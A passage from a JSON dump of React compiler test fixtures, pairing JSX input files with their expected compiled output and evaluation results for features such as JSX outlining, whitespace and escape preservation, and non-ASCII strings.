t2;\n  if ($[2] !== i1) {\n    t2 = <Foo i={i1} />;\n    $[2] = i1;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== t1 || $[5] !== t2 || $[6] !== x) {\n    t3 = (\n      <Bar x={x}>\n        {t1}\n        {t2}\n      </Bar>\n    );\n    $[4] = t1;\n    $[5] = t2;\n    $[6] = x;\n    $[7] = t3;\n  } else {\n    t3 = $[7];\n  }\n  return t3;\n}\n\nfunction Bar(t0) {\n  const $ = _c(3);\n  const { x, children } = t0;\n  let t1;\n  if ($[0] !== children || $[1] !== x) {\n    t1 = (\n      <>\n        {x}\n        {children}\n      </>\n    );\n    $[0] = children;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nfunction Baz(t0) {\n  const { i } = t0;\n  return i;\n}\n\nfunction Foo(t0) {\n  const { i } = t0;\n  return i;\n}\n\nfunction useX() {\n  return \"x\";\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ arr: [\"foo\", \"bar\"] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) xfoofooxbarbar"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-duplicate-prop.js",
    "content": "// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        return (\n          <Bar key={id} x={x}>\n            <Baz i={i}></Baz>\n            <Foo i={i}></Foo>\n          </Bar>\n        );\n      })}\n    </>\n  );\n}\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({i}) {\n  return i;\n}\n\nfunction Foo({i}) {\n  return i;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-jsx-stored-in-id.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        let jsx = (\n          <Bar key={id} x={x}>\n            <Baz i={i}></Baz>\n          </Bar>\n        );\n        return jsx;\n      })}\n    </>\n  );\n}\n\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({i}) {\n  return i;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableJsxOutlining\nfunction Component(t0) {\n  const $ = _c(7);\n  const { arr } = t0;\n  const x = useX();\n  let t1;\n  if ($[0] !== arr || $[1] !== x) {\n    let t2;\n    if ($[3] !== x) {\n      t2 = (i, id) => {\n        const T0 = _temp;\n        const jsx = <T0 i={i} key={id} x={x} />;\n\n        return jsx;\n      };\n      $[3] = x;\n      $[4] = t2;\n    } else {\n      t2 = $[4];\n    }\n    t1 = arr.map(t2);\n    $[0] = arr;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[5] !== t1) {\n    t2 = <>{t1}</>;\n    $[5] = t1;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\nfunction _temp(t0) {\n  const $ = _c(5);\n  const { i: i, x: x } = t0;\n  let t1;\n  if ($[0] !== i) {\n    t1 = <Baz i={i} />;\n    $[0] = i;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== t1 || $[3] !== x) {\n    t2 = <Bar x={x}>{t1}</Bar>;\n    $[2] = t1;\n    $[3] = x;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  return t2;\n}\n\nfunction Bar(t0) {\n  const $ = _c(3);\n  const { x, children } = t0;\n  let t1;\n  if ($[0] !== children || $[1] !== x) {\n    t1 = (\n      <>\n        {x}\n        {children}\n      </>\n    );\n    $[0] = children;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nfunction Baz(t0) {\n  const { i } = t0;\n  return i;\n}\n\nfunction useX() {\n  return \"x\";\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ arr: [\"foo\", \"bar\"] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) xfooxbar"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-jsx-stored-in-id.js",
    "content": "// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        let jsx = (\n          <Bar key={id} x={x}>\n            <Baz i={i}></Baz>\n          </Bar>\n        );\n        return jsx;\n      })}\n    </>\n  );\n}\n\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({i}) {\n  return i;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-separate-nested.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        return (\n          <Bar key={id} x={x}>\n            <Baz i={i}></Baz>\n            <Joe j={i}></Joe>\n            <Foo k={i}></Foo>\n          </Bar>\n        );\n      })}\n    </>\n  );\n}\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({i}) {\n  return i;\n}\n\nfunction Joe({j}) {\n  return j;\n}\n\nfunction Foo({k}) {\n  return k;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableJsxOutlining\nfunction Component(t0) {\n  const $ = _c(7);\n  const { arr } = t0;\n  const x = useX();\n  let t1;\n  if ($[0] !== arr || $[1] !== x) {\n    let t2;\n    if ($[3] !== x) {\n      t2 = (i, id) => {\n        const T0 = _temp;\n        return <T0 i={i} j={i} k={i} key={id} x={x} />;\n      };\n      $[3] = x;\n      $[4] = t2;\n    } else {\n      t2 = $[4];\n    }\n    t1 = arr.map(t2);\n    $[0] = arr;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[5] !== t1) {\n    t2 = <>{t1}</>;\n    $[5] = t1;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\nfunction _temp(t0) {\n  const $ = _c(11);\n  const { i: i, j: j, k: k, x: x } = t0;\n  let t1;\n  if ($[0] !== i) {\n    t1 = <Baz i={i} />;\n    $[0] = i;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== j) {\n    t2 = <Joe j={j} />;\n    $[2] = j;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== k) {\n    t3 = <Foo k={k} />;\n    $[4] = k;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  let t4;\n  if ($[6] !== t1 || $[7] !== t2 || $[8] !== t3 || $[9] !== x) {\n    t4 = (\n      <Bar x={x}>\n        {t1}\n        {t2}\n        {t3}\n      </Bar>\n    );\n    $[6] = t1;\n    $[7] = t2;\n    $[8] = t3;\n    $[9] = x;\n    $[10] = t4;\n  } else {\n    t4 = $[10];\n  }\n  return t4;\n}\n\nfunction Bar(t0) {\n  const $ = _c(3);\n  const { x, children } = t0;\n  let t1;\n  if ($[0] !== children || $[1] !== x) {\n    t1 = (\n      <>\n        {x}\n        {children}\n      </>\n    );\n    $[0] = children;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nfunction Baz(t0) {\n  const { i } = t0;\n  return i;\n}\n\nfunction Joe(t0) {\n  const { j } = t0;\n  return j;\n}\n\nfunction Foo(t0) {\n  const { k } = t0;\n  return k;\n}\n\nfunction useX() {\n  return \"x\";\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ arr: [\"foo\", \"bar\"] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) xfoofoofooxbarbarbar"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-separate-nested.js",
    "content": "// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        return (\n          <Bar key={id} x={x}>\n            <Baz i={i}></Baz>\n            <Joe j={i}></Joe>\n            <Foo k={i}></Foo>\n          </Bar>\n        );\n      })}\n    </>\n  );\n}\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({i}) {\n  return i;\n}\n\nfunction Joe({j}) {\n  return j;\n}\n\nfunction Foo({k}) {\n  return k;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-simple.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        return (\n          <Bar key={id} x={x}>\n            <Baz i={i}></Baz>\n          </Bar>\n        );\n      })}\n    </>\n  );\n}\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({i}) {\n  return i;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableJsxOutlining\nfunction Component(t0) {\n  const $ = _c(7);\n  const { arr } = t0;\n  const x = useX();\n  let t1;\n  if ($[0] !== arr || $[1] !== x) {\n    let t2;\n    if ($[3] !== x) {\n      t2 = (i, id) => {\n        const T0 = _temp;\n        return <T0 i={i} key={id} x={x} />;\n      };\n      $[3] = x;\n      $[4] = t2;\n    } else {\n      t2 = $[4];\n    }\n    t1 = arr.map(t2);\n    $[0] = arr;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[5] !== t1) {\n    t2 = <>{t1}</>;\n    $[5] = t1;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\nfunction _temp(t0) {\n  const $ = _c(5);\n  const { i: i, x: x } = t0;\n  let t1;\n  if ($[0] !== i) {\n    t1 = <Baz i={i} />;\n    $[0] = i;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== t1 || $[3] !== x) {\n    t2 = <Bar x={x}>{t1}</Bar>;\n    $[2] = t1;\n    $[3] = x;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  return t2;\n}\n\nfunction Bar(t0) {\n  const $ = _c(3);\n  const { x, children } = t0;\n  let t1;\n  if ($[0] !== children || $[1] !== x) {\n    t1 = (\n      <>\n        {x}\n        {children}\n      </>\n    );\n    $[0] = children;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nfunction Baz(t0) {\n  const { i } = t0;\n  return i;\n}\n\nfunction useX() {\n  return \"x\";\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ arr: [\"foo\", \"bar\"] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) xfooxbar"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-simple.js",
    "content": "// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        return (\n          <Bar key={id} x={x}>\n            <Baz i={i}></Baz>\n          </Bar>\n        );\n      })}\n    </>\n  );\n}\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({i}) {\n  return i;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-with-non-jsx-children.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        return (\n          <Bar key={id} x={x}>\n            <Baz i={i}>Test</Baz>\n            <Foo k={i} />\n          </Bar>\n        );\n      })}\n    </>\n  );\n}\n\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({i, children}) {\n  return (\n    <>\n      {i}\n      {children}\n    </>\n  );\n}\n\nfunction Foo({k}) {\n  return k;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableJsxOutlining\nfunction Component(t0) {\n  const $ = _c(7);\n  const { arr } = t0;\n  const x = useX();\n  let t1;\n  if ($[0] !== arr || $[1] !== x) {\n    let t2;\n    if ($[3] !== x) {\n      t2 = (i, id) => {\n        const t3 = \"Test\";\n        const T0 = _temp;\n        return <T0 i={i} t={t3} k={i} key={id} x={x} />;\n      };\n      $[3] = x;\n      $[4] = t2;\n    } else {\n      t2 = $[4];\n    }\n    t1 = arr.map(t2);\n    $[0] = arr;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[5] !== t1) {\n    t2 = <>{t1}</>;\n    $[5] = t1;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\nfunction _temp(t0) {\n  const $ = _c(9);\n  const { i: i, t: t, k: k, x: x } = t0;\n  let t1;\n  if ($[0] !== i || $[1] !== t) {\n    t1 = <Baz i={i}>{t}</Baz>;\n    $[0] = i;\n    $[1] = t;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] !== k) {\n    t2 = <Foo k={k} />;\n    $[3] = k;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  let t3;\n  if ($[5] !== t1 || $[6] !== t2 || $[7] !== x) {\n    t3 = (\n      <Bar x={x}>\n        {t1}\n        {t2}\n      </Bar>\n    );\n    $[5] = t1;\n    $[6] = t2;\n    $[7] = x;\n    $[8] = t3;\n  } else {\n    t3 = $[8];\n  }\n  return t3;\n}\n\nfunction Bar(t0) {\n  const $ = _c(3);\n  const { x, children } = t0;\n  let t1;\n  if ($[0] !== children || $[1] !== x) {\n    t1 = (\n      <>\n        {x}\n        {children}\n      </>\n    );\n    $[0] = children;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nfunction Baz(t0) {\n  const $ = _c(3);\n  const { i, children } = t0;\n  let t1;\n  if ($[0] !== children || $[1] !== i) {\n    t1 = (\n      <>\n        {i}\n        {children}\n      </>\n    );\n    $[0] = children;\n    $[1] = i;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nfunction Foo(t0) {\n  const { k } = t0;\n  return k;\n}\n\nfunction useX() {\n  return \"x\";\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ arr: [\"foo\", \"bar\"] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) xfooTestfooxbarTestbar"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-with-non-jsx-children.js",
    "content": "// @enableJsxOutlining\nfunction Component({arr}) {\n  const x = useX();\n  return (\n    <>\n      {arr.map((i, id) => {\n        return (\n          <Bar key={id} x={x}>\n            <Baz i={i}>Test</Baz>\n            <Foo k={i} />\n          </Bar>\n        );\n      })}\n    </>\n  );\n}\n\nfunction Bar({x, children}) {\n  return (\n    <>\n      {x}\n      {children}\n    </>\n  );\n}\n\nfunction Baz({i, children}) {\n  return (\n    <>\n      {i}\n      {children}\n    </>\n  );\n}\n\nfunction Foo({k}) {\n  return k;\n}\n\nfunction useX() {\n  return 'x';\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arr: ['foo', 'bar']}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-escape-character.expect.md",
    "content": "\n## Input\n\n```javascript\n/**\n * Fixture showing `@babel/generator` bug with jsx attribute strings containing\n * escape sequences. Note that this is only a problem when generating jsx\n * literals.\n *\n * When using the jsx transform to correctly lower jsx into\n * `React.createElement` calls, the escape sequences are preserved correctly\n * (see evaluator output).\n */\nfunction MyApp() {\n  return <input pattern=\"\\w\" />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; /**\n * Fixture showing `@babel/generator` bug with jsx attribute strings containing\n * escape sequences. Note that this is only a problem when generating jsx\n * literals.\n *\n * When using the jsx transform to correctly lower jsx into\n * `React.createElement` calls, the escape sequences are preserved correctly\n * (see evaluator output).\n */\nfunction MyApp() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <input pattern={\"\\\\w\"} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <input pattern=\"\\w\">"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-escape-character.js",
    "content": "/**\n * Fixture showing `@babel/generator` bug with jsx attribute strings containing\n * escape sequences. Note that this is only a problem when generating jsx\n * literals.\n *\n * When using the jsx transform to correctly lower jsx into\n * `React.createElement` calls, the escape sequences are preserved correctly\n * (see evaluator output).\n */\nfunction MyApp() {\n  return <input pattern=\"\\w\" />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-whitespace.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {StaticText1} from 'shared-runtime';\n\nfunction Component() {\n  return (\n    <div>\n      Before text\n      <StaticText1 />\n      Middle text\n      <StaticText1>\n        Inner before text\n        <StaticText1 />\n        Inner middle text\n        <StaticText1 />\n        Inner after text\n      </StaticText1>\n      After text\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { StaticText1 } from \"shared-runtime\";\n\nfunction Component() {\n  const $ = _c(3);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <StaticText1 />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <StaticText1 />;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = (\n      <div>\n        Before text{t0}Middle text\n        <StaticText1>\n          Inner before text{t1}Inner middle text\n          <StaticText1 />\n          Inner after text\n        </StaticText1>\n        After text\n      </div>\n    );\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>Before text<div>StaticText1</div>Middle text<div>StaticText1Inner before text<div>StaticText1</div>Inner middle text<div>StaticText1</div>Inner after text</div>After text</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-whitespace.tsx",
    "content": "import {StaticText1} from 'shared-runtime';\n\nfunction Component() {\n  return (\n    <div>\n      Before text\n      <StaticText1 />\n      Middle text\n      <StaticText1>\n        Inner before text\n        <StaticText1 />\n        Inner middle text\n        <StaticText1 />\n        Inner after text\n      </StaticText1>\n      After text\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-reactive-local-variable-member-expr.expect.md",
    "content": "\n## Input\n\n```javascript\nimport * as sharedRuntime from 'shared-runtime';\n\nfunction Component({something}: {something: {StaticText1: React.ElementType}}) {\n  const Foo = something.StaticText1;\n  return () => <Foo />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{something: sharedRuntime}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport * as sharedRuntime from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(2);\n  const { something } = t0;\n  const Foo = something.StaticText1;\n  let t1;\n  if ($[0] !== Foo) {\n    t1 = () => <Foo />;\n    $[0] = Foo;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ something: sharedRuntime }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-reactive-local-variable-member-expr.tsx",
    "content": "import * as sharedRuntime from 'shared-runtime';\n\nfunction Component({something}: {something: {StaticText1: React.ElementType}}) {\n  const Foo = something.StaticText1;\n  return () => <Foo />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{something: sharedRuntime}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-spread.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  return (\n    <Component {...props} {...{bar: props.cond ? props.foo : props.bar}} />\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(5);\n\n  const t0 = props.cond ? props.foo : props.bar;\n  let t1;\n  if ($[0] !== t0) {\n    t1 = { bar: t0 };\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== props || $[3] !== t1) {\n    t2 = <Component {...props} {...t1} />;\n    $[2] = props;\n    $[3] = t1;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  return t2;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-spread.js",
    "content": "function Component(props) {\n  return (\n    <Component {...props} {...{bar: props.cond ? props.foo : props.bar}} />\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-expression-container.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  return (\n    <div>\n      <Text value={'\\n'} />\n      <Text value={'A\\tE'} />\n      <Text value={'나은'} />\n      <Text value={'Lauren'} />\n      <Text value={'சத்யா'} />\n      <Text value={'Sathya'} />\n      <Text value={'welcome 👋'} />\n    </div>\n  );\n}\n\nfunction Text({value}) {\n  return <span>{value}</span>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <div>\n        <Text value={\"\\n\"} />\n        <Text value={\"A\\tE\"} />\n        <Text value={\"\\uB098\\uC740\"} />\n        <Text value=\"Lauren\" />\n        <Text value={\"\\u0B9A\\u0BA4\\u0BCD\\u0BAF\\u0BBE\"} />\n        <Text value=\"Sathya\" />\n        <Text value={\"welcome \\uD83D\\uDC4B\"} />\n      </div>\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nfunction Text(t0) {\n  const $ = _c(2);\n  const { value } = t0;\n  let t1;\n  if ($[0] !== value) {\n    t1 = <span>{value}</span>;\n    $[0] = value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><span>\n</span><span>A\tE</span><span>나은</span><span>Lauren</span><span>சத்யா</span><span>Sathya</span><span>welcome 👋</span></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-expression-container.js",
    "content": "function Component() {\n  return (\n    <div>\n      <Text value={'\\n'} />\n      <Text value={'A\\tE'} />\n      <Text value={'나은'} />\n      <Text value={'Lauren'} />\n      <Text value={'சத்யா'} />\n      <Text value={'Sathya'} />\n      <Text value={'welcome 👋'} />\n    </div>\n  );\n}\n\nfunction Text({value}) {\n  return <span>{value}</span>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-non-ascii.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  return (\n    <Post\n      author=\"potetotes\"\n      text=\"in addition to understanding JavaScript semantics and the rules of React, the compiler team also understands தமிழ், 中文, 日本語, 한국어 and i think that’s pretty cool\"\n    />\n  );\n}\n\nfunction Post({author, text}) {\n  return (\n    <div>\n      <h1>{author}</h1>\n      <span>{text}</span>\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <Post\n        author=\"potetotes\"\n        text={\n          \"in addition to understanding JavaScript semantics and the rules of React, the compiler team also understands \\u0BA4\\u0BAE\\u0BBF\\u0BB4\\u0BCD, \\u4E2D\\u6587, \\u65E5\\u672C\\u8A9E, \\uD55C\\uAD6D\\uC5B4 and i think that\\u2019s pretty cool\"\n        }\n      />\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nfunction Post(t0) {\n  const $ = _c(7);\n  const { author, text } = t0;\n  let t1;\n  if ($[0] !== author) {\n    t1 = <h1>{author}</h1>;\n    $[0] = author;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== text) {\n    t2 = <span>{text}</span>;\n    $[2] = text;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== t1 || $[5] !== t2) {\n    t3 = (\n      <div>\n        {t1}\n        {t2}\n      </div>\n    );\n    $[4] = t1;\n    $[5] = t2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><h1>potetotes</h1><span>in addition to understanding JavaScript semantics and the rules of React, the compiler team also understands தமிழ், 中文, 日本語, 한국어 and i think that’s pretty cool</span></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-non-ascii.js",
    "content": "function Component() {\n  return (\n    <Post\n      author=\"potetotes\"\n      text=\"in addition to understanding JavaScript semantics and the rules of React, the compiler team also understands தமிழ், 中文, 日本語, 한국어 and i think that’s pretty cool\"\n    />\n  );\n}\n\nfunction Post({author, text}) {\n  return (\n    <div>\n      <h1>{author}</h1>\n      <span>{text}</span>\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order-non-global.expect.md",
